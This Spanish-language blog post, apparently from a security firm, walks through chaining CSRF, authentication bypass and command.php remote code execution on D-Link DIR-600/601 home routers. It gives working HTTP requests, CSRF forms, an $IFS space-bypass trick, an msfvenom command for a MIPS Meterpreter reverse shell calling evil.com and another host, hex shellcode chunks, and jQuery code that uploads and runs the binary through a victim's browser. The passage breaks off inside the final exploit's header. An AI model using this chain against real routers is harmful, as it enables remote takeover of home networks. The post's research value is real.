Menú Security Signal

September 15, 2021

Hacking en tiempos de Coronavirus Pt. 2: Encadenando vulnerabilidades!

by Alejandro Parodi

En lo descrito en nuestra entrada anterior: Hacking en tiempos de Coronavirus Pt. 1: El punto de entrada! describimos las vulnerabilidades base a encadenar (Cross-Site Request Forgery, Authentication Bypass, Remote Code Execution) para generar el punto de entrada de un atacante sobre una red local hogareña.

A lo largo de este post, mostraremos las estrategias que un atacante podría realizar, con la finalidad de detectar las vulnerabilidades requeridas para la explotación en este escenario de Home Office en Pandemia.

Es común para él lector pensar que un equipo de atacantes experimentados (con el suficiente tiempo) o un equipo de Research se centraría en buscar vulnerabilidades 0 Day sobre dispositivos domésticos (Routers, Modems, etc).

Si bien esto es factible, la mayoría de los ataques organizados por grupos de ciber-criminales se basan en utilizar vulnerabilidades descubiertas previamente, aprovechándose de esta manera, sobre la falta de actualizaciones en los sistemas y/o dispositivos que componen una red.

Como describimos en nuestra entrada anterior, los Routers Domésticos son especialmente vulnerables a la falta de parcheado y tienden a su desactualización en el tiempo posterior a su instalación por el ISP, por lo que existe un gran porcentaje de hogares que tienen un dispositivo Legacy (con vulnerabilidades conocidas) instalado como gateway de su infraestructura local.

Debido a esto, un atacante podría utilizar fuentes publicas para buscar dispositivos que se conozcan vulnerables a Cross-Site Request Forgery, Authentication Bypass y Remote Code Execution. De esta forma reduciría el tiempo de investigación y centraría su esfuerzo en la explotación, encadenado de las vulnerabilidades y distribución del ataque.

Con esta finalidad un atacante podría utilizar la fuente publica de recopilación y publicación de vulnerabilidades: https://cve.mitre.org/cve/search_cve_list.html

Mitre CVE, según la propia descripción es una lista de entradas de vulnerabilidades informáticas conocidas públicamente y usadas por numerosas empresas, productos y servicios de ciberseguridad al rededor del mundo, incluido USA y la NVD.

Buscando vulnerabilidades en CVE Mitre:

Primer eslabón: Cross-Site Request Forgery

A grandes rasgos, una vulnerabilidad de CSRF, permite utilizar el navegador de una víctima para realizar solicitudes HTTP en su nombre por medio de JavaScript.

Con el fin de detectar dispositivos que se conozcan vulnerables a este tipo de ataques utilizaremos la web: https://cve.mitre.org/cve/search_cve_list.html

Buscando por las palabras claves: CSRF ROUTER

Como podemos observar, el Router Domestico: D-Link Dir-601 es vulnerable a este tipo de ataques al no implementar tokens anti-CSRF. (También es vulnerable a Authentication Bypass + RCE, esto lo veremos un poco más adelante, pero el Dispositivo cumple con todas las condiciones de explotabilidad)

La descripción completa del CVE puede verse a continuación:

D-Link DIR-601 B1 2.00NA devices have CSRF because no anti-CSRF token is implemented. A remote attacker could exploit this in conjunction with CVE-2019-16327 to enable remote router management and device compromise. NOTE: this is an end-of-life product.

En este punto SecSignal adquirió un dispositivo de la familia DIR-600 por medio de tiendas online de segunda mano:


Una vez autenticado en el router e indagando, el equipo consultor detecto que la sección de Logs del Router, posee una funcionalidad que permite descargar un archivo de texto con los logs del dispositivo:

Al momento de descargar el archivo presionando sobre el boton Save, la siguiente solicitud HTTP es enviada:

GET /log_get.php HTTP/1.1
Host: 192.168.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.1/st_log.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,es;q=0.8
Cookie: uid=d3z8s6jLCc
Connection: close

Como puede observarse no hay ningún token CSRF en la solicitud HTTP.

Para validar la explotabilidad de esta vulnerabilidad se creo el siguiente código HTML:

<html>
  <body>
    <form action="http://192.168.0.1/log_get.php">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Este código enviara una solicitud HTTP desde el Origin: 127.0.0.1 (localhost) al Router (IP: 192.168.0.1), debido a la ausencia de un Token anti-CSRF, debería ser posible acceder a la funcionalidad de descarga de logs.

Como puede verse en la imagen anterior, la funcionalidad fue ejecutada efectivamente por medio de una solicitud con Origin: 127.0.0.1 y el archivo de logs fue descargado correctamente, lo que indica que la vulnerabilidad esta presente y fue explotada con éxito.

Segundo eslabón: Authentication Bypass

Una vulnerabilidad de Authentication Bypass en una aplicación, es uno de los problemas más peligrosos, ya que permite a un usuario realizar acciones (en general administrativas) sin estar autenticados.

Con la finalidad de detectar este tipo de vulnerabilidades es necesario solicitar funcionalidades administrativas sin una sesión activa en el dispositivo, esto puede validarse utilizando Burp Suite y enviando solicitudes HTTP sin una cookie de sesión a una funcionalidad del Router esperando una ejecución exitosa de la misma.

Para esto, el equipo consultor utilizo la funcionalidad Administrativa Ping que se utiliza en general para validar que el dispositivo tenga conexión a internet. En la siguiente imagen puede verse como el dispositivo es capaz de realizar Ping al Servidor DNS 8.8.8.8 con exito.

A continuación puede observarse la solicitud HTTP enviada por el dispositivo:

POST /diagnostic.php HTTP/1.1
Host: 192.168.0.1
Content-Length: 20
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://192.168.0.1
Referer: http://192.168.0.1/tools_check.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,es;q=0.8
Cookie: uid=d3z8s6jLCc
Connection: close

act=ping&dst=8.8.8.8

Como puede observarse, la solicitud HTTP utiliza la cookie de Autenticación uid, cuando la solicitud es procesada la siguiente respuesta es obtenida:

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-600 Ver 2.12
Date: Sun, 20 Feb 2000 20:55:03 GMT
Connection: close
Content-Type: text/xml
Content-Length: 70

<?xml version="1.0"?>
<diagnostic>
	<report>OK</report>
</diagnostic>

Con la finalidad de detectar una vulnerabilidad de Authentication Bypass, el equipo consultor realizo la misma solicitud HTTP eliminando la cookie de sesión como puede verse en el siguiente bloque de código:

POST /diagnostic.php HTTP/1.1
Host: 192.168.0.1
Content-Length: 20
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://192.168.0.1
Referer: http://192.168.0.1/tools_check.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,es;q=0.8
Connection: close

act=ping&dst=8.8.8.8

El dispositivo fue capaz de procesar la solicitud sin ningún tipo de validación, ejecutando la funcionalidad con éxito como puede verse en el siguiente bloque de código:

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-600 Ver 2.12
Date: Sun, 20 Feb 2000 20:57:24 GMT
Connection: close
Content-Type: text/xml
Content-Length: 70

<?xml version="1.0"?>
<diagnostic>
	<report>OK</report>
</diagnostic>

Tras un análisis sobre todas las funcionalidades pertenecientes al dispositivo, SecSignal fue capaz de determinar que el proceso de Autenticación se valida en el lado del Front-end, permitiendo a cualquier atacante que conozca la ruta específica de una funcionalidad Administrativa, ejecutarla sin necesidad de estar autenticado en el dispositivo.

Tercer eslabón: Remote Code Execution

Una vulnerabilidad de Remote Code Execution es aquella que nos permite, por medio del abuso de una funcionalidad, ejecutar código arbitrario/comandos del sistema sobre el dispositivo

No hace falta mas que buscar en google con las palabras: DIR600 Remote Code Execution para encontrar el siguiente articulo http://www.s3cur1ty.de/m1adv2013-003 escrito por: Michael Messner

En este articulo se habla de una vulnerabilidad de Remote Code Execution, que puede ser ejecutada sin autenticación en el dispositivo (debido a la validación de autenticación por Front-end).

Además, es posible detectar un modulo de Metasploit capaz de explotar la vulnerabilidad de forma remota en dispositivos expuestos a internet: https://www.exploit-db.com/exploits/27528

Si bien este modulo sirve para entender el funcionamiento de la vulnerabilidad, no se adecua al proceso de explotación elegido por SecSignal, donde el dispositivo no se encuentra expuesto a internet.

Esta vulnerabilidad determina que de existir el archivo command.php en el dispositivo, el mismo puede ser utilizado para ejecutar comandos de forma remota. Además, Michael determina que este archivo se encuentra presente en las versiones del firmware: 2.12b02, 2.13b01 y 2.14b01

Una búsqueda rápida en Shodan, permite determinar que existen al menos 7867 dispositivos expuestos a internet vulnerables, como se puede ver en la siguiente imagen:

Esto quiere decir que deben existir muchos más dispositivos afectados que no se encuentran expuestos a internet (lo cual fue la idea base de esta investigación).

Con el fin de explotar dicha vulnerabilidad, el equipo consultor fue capaz de validar que de existir el archivo command.php en el Router objetivo, el mismo responde con una página en blanco:

Con el fin de realizar la explotación es necesario interceptar esta solicitud, modificar el verbo HTTP a POST y agregar el header: Content-Type: application/x-www-form-urlencoded

Una solicitud HTTP valida para explotar esta vulnerabilidad puede verse en el siguiente bloque de código:

POST /command.php HTTP/1.1
Host: 192.168.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,es;q=0.8
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 6

cmd=ls

La respuesta del dispositivo puede verse a continuación:

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-600 Ver 2.12
Date: Sun, 20 Feb 2000 22:40:30 GMT
Connection: close
Content-Type: text/html
Content-Length: 66

www
var
usr
tmp
sys
sbin
proc
mnt
lib
htdocs
home
etc
dev
bin

Habiendo detectado las 3 vulnerabilidades, es momento de encadenar las mismas para lograr por medio de HTML+JavaScript acceso remoto al Router.

Cadena de Explotación

En este punto la estrategia de explotación resulta sencilla, crear un archivo HTML+JavaScript que mediante solicitudes CSRF, ejecute comandos sobre un router doméstico, por medio del script vulnerable command.php.

Una prueba rápida de esto puede verse en el siguiente código HTML:

<html>
  <body>
    <form action="http://192.168.0.1/command.php" method="POST">
      <input type="hidden" name="cmd" value="ls" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Al ejecutarse el archivo HTML en el Browser el dispositivo responde con la siguiente información:

De esta forma es posible validar que explotar la vulnerabilidad de Remote Code Execution de forma no Autenticada y por medio de un link CSRF es posible.

Sin embargo al momento de realizar la ejecución de un Payload más complejo como por ej: cat /etc/resolv.conf por medio de CSRF el dispositivo responde con una salida en blanco.

CSRF HTML Code:

<html>
  <body>
    <form action="http://192.168.0.1/command.php" method="POST">
      <input type="hidden" name="cmd" value="cat&#32;&#47;etc&#47;resolv&#46;conf" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Respuesta Obtenida:

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-600 Ver 2.12
Date: Sun, 20 Feb 2000 22:58:49 GMT
Connection: close
Content-Type: text/html
Content-Length: 4

Respuesta esperada (contenido del archivo /etc/resolv.conf):

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-600 Ver 2.12
Date: Sun, 20 Feb 2000 22:57:22 GMT
Connection: close
Content-Type: text/html
Content-Length: 133

# Auto-Generated
nameserver 185.232.65.172
nameserver 185.232.65.173
nameserver 185.232.65.172
nameserver 185.232.65.173
search 

Esto se debe a que al momento de realizar la solicitud por medio de CSRF la solicitud HTTP utiliza el carácter “+” como sustituto a los espacios en blanco en vez de URL Encodear el espacio a %20.

La solicitud HTTP enviada por medio del Cross-Site Request Forgery puede verse a continuación:

POST /command.php HTTP/1.1
Host: 192.168.0.1
Content-Length: 28
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://burpsuite
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://burpsuite/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,es;q=0.8

Connection: close

cmd=cat+%2Fetc%2Fresolv.conf

Respuesta del dispositivo:

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-600 Ver 2.12
Date: Sun, 20 Feb 2000 23:04:27 GMT
Connection: close
Content-Type: text/html
Content-Length: 4

El dispositivo no es capaz de procesar el carácter “+” y espera su representación como %20, sin embargo no es posible forzar por medio de HTML y JavaScript que el espacio en blanco se procese como %20 y no como el carácter “+”.

Con el fin de lograr un Bypass a este problema, es posible utilizar la variable de entorno $IFS como parte del payload.

La variable $IFS representa un espació en blanco en los sistemas basados en Linux, y se puede utilizar para evadir protecciones, errores o Firewalls que impidan utilizar espacios en blanco, para utilizarlo en un Payload es necesario eliminar todos los espacios de un comando y colocar entre comillas simples ( ‘ ) todo texto posterior a la variable de entorno.

Para ejemplificar este funcionamiento, podemos ver en la siguiente imagen como falla un comando al utilizar la variable de entorno $IFS en un comando del sistema sin el uso de comillas simples ( ).

En la imagen anterior podemos ver como el argumento del comando echo (el valor 1), no se imprime como salida del comando.

La forma correcta de utilizar la variable de entorno $IFS para que el comando echo interprete el argumento 1 es utilizando comillas simples, como puede verse en la siguiente imagen:

Comprendiendo esto, es posible modificar el Payload utilizado por nuestro CSRF a: cat$IFS’/etc/resolv.conf’ con el fin de evitar el uso del caracter “+” y lograr ejecutar de forma exitosa comandos en el dispositivo por medio de un link CSRF.

CSRF HTML Code utilizando $IFS como bypass al caracter “+”:

<html>
  <body>
    <form action="http://192.168.0.1/command.php" method="POST">
      <input type="hidden" name="cmd" value="cat&#36;IFS&apos;&#47;etc&#47;resolv&#46;conf&apos;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Al ejecutar la nueva solicitud CSRF en el browser el dispositivo responde revelando el contenido del fichero /etc/resolv.conf como puede verse en el siguiente bloque de código:

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-600 Ver 2.12
Date: Sun, 20 Feb 2000 23:17:38 GMT
Connection: close
Content-Type: text/html
Content-Length: 133

# Auto-Generated
nameserver 185.232.65.172
nameserver 185.232.65.173
nameserver 185.232.65.172
nameserver 185.232.65.173
search 

Obteniendo un Reverse Shell

En este punto, lo primero a determinar es que herramientas tenemos a nuestro alcance para generar un Reverse Shell, en este caso el dispositivo es sumamente limitado, no poseemos de curl, ni wget (para descargar archivos), no poseemos de /dev/tcp (para generar un reverse shell con bash), no disponemos de python ni perl (por lo que no podemos programar un reverse shell en alto nivel), la versión de php que utiliza el dispositivo no soporta sockets (por lo que no podemos realizar un reverse shell en php), el dispositivo no cuenta con TFTP, ni FTP, ni SSH (Dropbear) por lo que subir o descargar archivos parece imposible.

Analizando con profundidad el dispositivo el equipo consultor fue capaz de detectar el archivo /usr/sbin/tcprequest que permite realizar conecciones tcp a un servidor bajo el control del atacante.

En el siguiente bloque de código puede observarse la salida del comando: usr/sbin/tcprequest -h

Usage: /usr/sbin/tcprequest Request Server [port|OPTION]
  -s          skip http protocol header
  -f          file path for output (default: standout)
  -t          timeout value (seconds) for connect (default: 5)

Sin embargo existen restricciones sobre caracteres especiales que son interpretados por el binario como terminadores de linea (esto se determino luego de múltiples pruebas por parte de SecSignal), por lo que no es posible utilizarlo para cargar archivos binarios, solamente se puede utilizar para cargar archivos de texto.

Más problemas surgieron, el dispositivo no cuenta con el comando base64, por lo que no era posible utilizar el binario para subir archivos encodeados y luego decodearlos para reconstruir el binario.

Todo proceso de decodificación mediante scripting en bash (o php) consumía todos los recursos del dispositivo y lo dejaba sin servicio antes de lograr recostruir un binario.

Tras varías pruebas SecSignal determino que era posible reconstruir un binario malicioso por medio del comando echo -en “binary string” > /tmp/binary

Esto se pudo validar por medio de la siguiente solicitud HTTP destinada a crear el archivo /tmp/binary con el contenido binario “\x41\x41” (estos valores hexadecimales se convertirían en el texto “AA” de ser procesado correctamente por el dispositivo)

HTTP Request:

POST /command.php HTTP/1.1
Host: 192.168.0.1
Content-Length: 47
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://burpsuite
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://burpsuite/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,es;q=0.8
Connection: close

cmd=`echo$IFS'-en'$IFS"\\x41\\x41">/tmp/binary`

Posterior a la ejecución de la anterior solicitud HTTP, se envió una solicitud HTTP destinada a leer el contenido del archivo /tmp/binary

HTTP Request:

POST /command.php HTTP/1.1
Host: 192.168.0.1
Content-Length: 19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://burpsuite
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://burpsuite/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,es;q=0.8
Connection: close

cmd=cat /tmp/binary

La respuesta por parte del dispositivo fue la esperada, y el contenido del archivo reflejaba lo esperado por el equipo de SecSignal

HTTP Response:

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-600 Ver 2.12
Date: Sun, 20 Feb 2000 23:43:39 GMT
Connection: close
Content-Type: text/html
Content-Length: 6

AA

Sin embargo, otro problema surgió, las solicitudes HTTP procesadas por el dispositivo tiene un limite de 500 caracteres, por lo que no es posible subir un archivo binario por medio de una única solicitud HTTP.

Teniendo en cuenta esto, un archivo binario debe ser ser dividido en múltiples partes de 500 bytes contemplando el doble encode de las barras debido a HTTP (el carácter “A” debe ser enviado como \\x41\\x41) esto complica el proceso pero no imposibilita la explotación.

En este punto la estrategia de SecSignal cambio a crear un binario malicioso encargado de enviar un Reverse Shell a un servidor bajo su control, cortarlo en múltiples partes de 500 bytes (contemplando el doble encode de las barras “\\”) y subirlo al dispositivo mediante múltiples solicitudes HTTP, esto implicaba que el binario malicioso debía ser lo más pequeño posible.

La duda, en este momento era: qué tipo de archivo hay que subir? cúal es la arquitectura de los binarios que ejecuta el dispositivo?

Por medió del comando uname, se logro determinar que el dispositivo funciona bajo la arquitectura MIPS como puede verse el siguiente bloque de código:

HTTP Request:

POST /command.php HTTP/1.1
Host: 192.168.0.1
Content-Length: 12
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://burpsuite
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://burpsuite/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,es;q=0.8
Connection: close

cmd=uname -a

HTTP Response:

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-600 Ver 2.12
Date: Sun, 20 Feb 2000 23:58:30 GMT
Connection: close
Content-Type: text/html
Content-Length: 78

Linux dlinkrouter 2.6.33.2 #1 Wed Jan 11 23:01:43 CST 2012 mips GNU/Linux

Sin embargo existe la posibilidad de que el dispositivo ejecute binarios MIPS Little Endian (mipsle) o MIPS Big Endian (mipsbe).

Con la finalidad de determinar la arquitectura exacta SecSignal logro obtener el Firmware del dispositivo en su versión vulnerable 2.12 por medio del link: ftp://files.dlink.com.au/products/DIR-600/REV_B5/Firmware/v2.12WWb02/DIR600B5_FW212WWb02.bin (link caido) y utilizando la herramienta binwalk fue capaz de obtener el File System del dispositivo. Para esto el siguiente comando fue utilizado:

docker run --rm -v /tmp/:/tmp/ gillis57/binwalk -e /tmp/DIR600B5_FW212WWb02.bin

Salida del comando:

Una vez recuperado el File System se utilizo el comando “file” para obtener la información necesaria de un binario utilizado por el dispositivo:

Comando:

file _DIR600B5_FW212WWb02.bin.extracted/squashfs-root/usr/sbin/tcprequest

Salida del comando

_DIR600B5_FW212WWb02.bin.extracted/squashfs-root/usr/sbin/tcprequest: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

Con esto, SecSignal fue capaz de determinar que el dispositivo ejecuta binarios del tipo MIPS Little Endian 32-bit.

Con esta información fue capaz de crear un Reverse Shell Meterpreter, por medio del siguiente comando:

./msfvenom -a mipsle -p linux/mipsle/meterpreter/reverse_tcp LHOST=evil.com LPORT=41900 PrependFork=true -f elf -o mipsle.elf

Salida del comando:

Con el fin de dividir el binario en Strings que pudieran ser enviados por medio de solicitudes HTTP cumpliendo la condición de ser menor o igual a 500 bytes, se creo el siguiente Script en Python destinado a dividir y formatear el binario:

# Script to convert a binary to a printable hex string for echo command
import sys
import binascii

f = open(sys.argv[1], "rb")
content = f.read()
f.close()

string = ""
counter = 0
for byte in content:
	 counter += 1
         string += "\\\\\\\\x"+binascii.b2a_hex(byte)
	 if counter == 100:
		string += "\n"
		counter = 0

f = open("shellcode.txt", "w")
f.write(string)
f.close()

print "DONE!"

Al ejecutar el Script contra el binario malicioso se crea el archivo shellcode.txt que contiene el binario dividido.

Comando:

python shellcode_to_hexstring_splitted.py reverse_shells/stager.elf ; cat shellcode.txt

Salida del comando:

Con toda esta información SecSignal estaba listo para crear la primera versión del exploit CSRF a cargo de explotar la cadena de vulnerabilidades y generar un Reverse Shell Meterpreter hacia un servidor de su control.

Con el fin de comprender el exploit desarrollado se explicara sección a sección el código creado.

En primera instancia de nuestro exploit utilizara AJAX para ejecutar solicitudes HTTP Post contra dispositivo Target, en este caso posee la IP del Router Domestico es: 192.168.0.1

<html>
<script src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.4.1.min.js"></script>
<script>

var target_url = "http://192.168.0.1/command.php"

</script>
</html>

Luego definiremos el Shellcode (hex-string de nuestro Reverse Shell)

// Metasploit MIPSLE MIPS32 V1
// Generated with ./msfvenom -a mipsle -p linux/mipsle/meterpreter/reverse_tcp LHOST=ades.sytes.net LPORT=41900 PrependFork=true -f elf -o mipsle.elf
// Splited to generate shellcode array with: python shellcode_to_hexstring_splited.py mipsle.elf
// The shelcode is an stager, you can switch between normal reverse shell or reverse meterpreter just changing the payload in the multi/handler listener!
var shellcode = []
shellcode[0]='\\\\x7f\\\\x45\\\\x4c\\\\x46\\\\x01\\\\x01\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x08\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x54\\\\x00\\\\x40\\\\x00\\\\x34\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x34\\\\x00\\\\x20\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x40\\\\x00\\\\x64\\\\x01\\\\x00\\\\x00\\\\x74\\\\x02\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x00\\\\xfa\\\\xff\\\\x0f\\\\x24\\\\x27\\\\x78\\\\xe0\\\\x01\\\\xfd\\\\xff\\\\xe4\\\\x21\\\\xfd\\\\xff\\\\xe5\\\\x21'
shellcode[1]='\\\\xff\\\\xff\\\\x06\\\\x28\\\\x57\\\\x10\\\\x02\\\\x24\\\\x0c\\\\x01\\\\x01\\\\x01\\\\x2a\\\\x80\\\\x07\\\\x00\\\\x36\\\\x00\\\\x00\\\\x16\\\\xfc\\\\xff\\\\xa2\\\\xaf\\\\xfc\\\\xff\\\\xa4\\\\x8f\\\\xfd\\\\xff\\\\x0f\\\\x24\\\\x27\\\\x78\\\\xe0\\\\x01\\\\xe2\\\\xff\\\\xaf\\\\xaf\\\\xa3\\\\xac\\\\x0e\\\\x34\\\\xe4\\\\xff\\\\xae\\\\xaf\\\\xce\\\\x6e\\\\x0e\\\\x3c\\\\x55\\\\x31\\\\xce\\\\x35\\\\xe6\\\\xff\\\\xae\\\\xaf\\\\xe2\\\\xff\\\\xa5\\\\x27\\\\xef\\\\xff\\\\x0c\\\\x24\\\\x27\\\\x30\\\\x80\\\\x01\\\\x4a\\\\x10\\\\x02\\\\x24\\\\x0c\\\\x01\\\\x01\\\\x01\\\\x2a\\\\x80\\\\x07\\\\x00\\\\x25\\\\x00\\\\x00\\\\x16\\\\xff\\\\xff\\\\x04\\\\x24\\\\x01\\\\x10\\\\x05\\\\x24\\\\xff\\\\xff\\\\xa5\\\\x20'
shellcode[2]='\\\\xf8\\\\xff\\\\x09\\\\x24\\\\x27\\\\x48\\\\x20\\\\x01\\\\x20\\\\x30\\\\x20\\\\x01\\\\x02\\\\x08\\\\x07\\\\x24\\\\xea\\\\xff\\\\x0b\\\\x24\\\\x27\\\\x58\\\\x60\\\\x01\\\\x20\\\\x58\\\\xab\\\\x03\\\\xff\\\\xff\\\\x60\\\\xad\\\\xfb\\\\xff\\\\x62\\\\xad\\\\xfa\\\\x0f\\\\x02\\\\x24\\\\x0c\\\\x01\\\\x01\\\\x01\\\\x2a\\\\x80\\\\x07\\\\x00\\\\x15\\\\x00\\\\x00\\\\x16\\\\xf8\\\\xff\\\\xa2\\\\xaf\\\\xfc\\\\xff\\\\xa4\\\\x8f\\\\xf8\\\\xff\\\\xa5\\\\x8f\\\\x01\\\\x10\\\\x06\\\\x24\\\\xff\\\\xff\\\\xc6\\\\x20\\\\xa3\\\\x0f\\\\x02\\\\x24\\\\x0c\\\\x01\\\\x01\\\\x01\\\\x2a\\\\x80\\\\x07\\\\x00\\\\x0c\\\\x00\\\\x00\\\\x16\\\\xf8\\\\xff\\\\xa4\\\\x8f\\\\x20\\\\x28\\\\x40\\\\x00\\\\xfd\\\\xff\\\\x09\\\\x24'
shellcode[3]='\\\\x27\\\\x48\\\\x20\\\\x01\\\\x20\\\\x30\\\\x20\\\\x01\\\\x33\\\\x10\\\\x02\\\\x24\\\\x0c\\\\x01\\\\x01\\\\x01\\\\x2a\\\\x80\\\\x07\\\\x00\\\\x03\\\\x00\\\\x00\\\\x16\\\\xf8\\\\xff\\\\xb1\\\\x8f\\\\xfc\\\\xff\\\\xb2\\\\x8f\\\\x09\\\\xf8\\\\x20\\\\x02\\\\x01\\\\x00\\\\x04\\\\x24\\\\xa1\\\\x0f\\\\x02\\\\x24\\\\x0c\\\\x01\\\\x01\\\\x01\\\\x25\\\\x08\\\\x20\\\\x00\\\\x25\\\\x08\\\\x20\\\\x00'

Luego definiremos una función recurrente encargada de utilizar el comando echo -en para escribir el binario Reverse Shell en el dispositivo.

function upload_shellcode(index){
  if (index == 0) pipe = ">"
  else pipe = ">>"
  $.post(target_url,
  {
    // We do not found a reliable way to upload files using internal rounter capabilities 
    // so we use 'echo -en' command to create a binary file (/tmp/pwn) using the chunks sent in the requests
    cmd: '`echo$IFS\'-en\'$IFS"'+shellcode[index]+'"'+pipe+'/tmp/pwn`' // We use $IFS trick to bypass a bad encoding error in the server processing the CSRF POST request (The server do not parse + as URLENCODE)
  },
  function(data, status){});
}

Luego definiremos la función encargada de ejecutar el binario una vez que se cargo exitosamente en el dispositivo:

function execute_shellcode(){
  $.post(target_url,
  {
    // When the requests that craft the reverse shell binary end sucessfully then the following request add execution grants and run the binary
    cmd: "chmod$IFS'755'$IFS'/tmp/pwn';sleep$IFS'1';/bin/sh$IFS'-c'$IFS'/tmp/pwn&'" // We use $IFS trick to bypass a bad encoding error in the server processing the CSRF POST request (The server do not parse + as URLENCODE)
  },
  function(data, status){});
}

Ejecutaremos la función de carga de archivo (upload_shellcode) recurrentemente utilizando un Time Sleep de 300 milisegundos entre cada Solicitud HTTP.

console.log("[#] Uploading Reverse Shell Binary")
sleep = 300
for (let index = 0; index < shellcode.length; index++) {
    setTimeout(() => {
      upload_shellcode(index)
    }, sleep);
    sleep += 300
}

Una vez completadas todas las solicitudes HTTP de reconstitución del binario Reverse Shell, procedemos a ejecutarlo:

console.log("[#] Executing Reverse Shell... wait for connection!")
sleep += 300
setTimeout(() => {
  execute_shellcode()
}, sleep);

El exploit completo puede verse a continuación:

<html>
<h2>DLINK DIR-600/601 BUG CHAIN PWNER</h2></br>

This code chain 3 Bugs to gain remote code execution in an internal network.</br></br>

<b>BUG 1 - CVE-2019-16326:</b> CSRF this router lack of CSRF protection, this behaviour allows system action execution via malicious AJAX / HTML Requests.</br>
Credits: <a href="https://securiteam.com/securitynews/d-link-dir-601-b1-2-00na-devices-improper-authentication-vulnerability/">https://securiteam.com/securitynews/d-link-dir-601-b1-2-00na-devices-improper-authentication-vulnerability/</a></br></br>

<b>BUG 2 - CVE-2019-16327:</b> Auth Bypass, this router lack of backend session check, an attacker can execute functions if he knows the endpoint </br>
